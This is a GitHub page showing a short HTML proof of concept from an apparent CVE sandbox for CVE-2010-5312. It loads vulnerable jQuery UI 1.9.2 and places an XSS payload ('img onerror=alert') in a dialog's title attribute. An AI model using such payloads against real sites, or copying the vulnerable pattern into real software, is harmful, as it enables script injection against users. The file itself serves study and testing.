-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathindex.html
23 lines (19 loc) · 930 Bytes
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!--
CVE Sandbox :: jQuery UI :: CVE-2010-5312
Version: jQuery UI < 1.10.0
------------------------------------------------------------------------------------
The XSS payload is injected into "title" attribute of HTML element
Payload is executed when dialog is initialized for HTML element with payload
------------------------------------------------------------------------------------
POC Author: https://twitter.com/therceman
-->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js"></script>
<link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/themes/base/jquery-ui.css">
<div id="dialog" title="<img src=1 onerror=alert(1337)>">
<p>Dialog Content</p>
</div>
<!-- Initialization of Dialog -->
<script>
$('#dialog').dialog();
</script>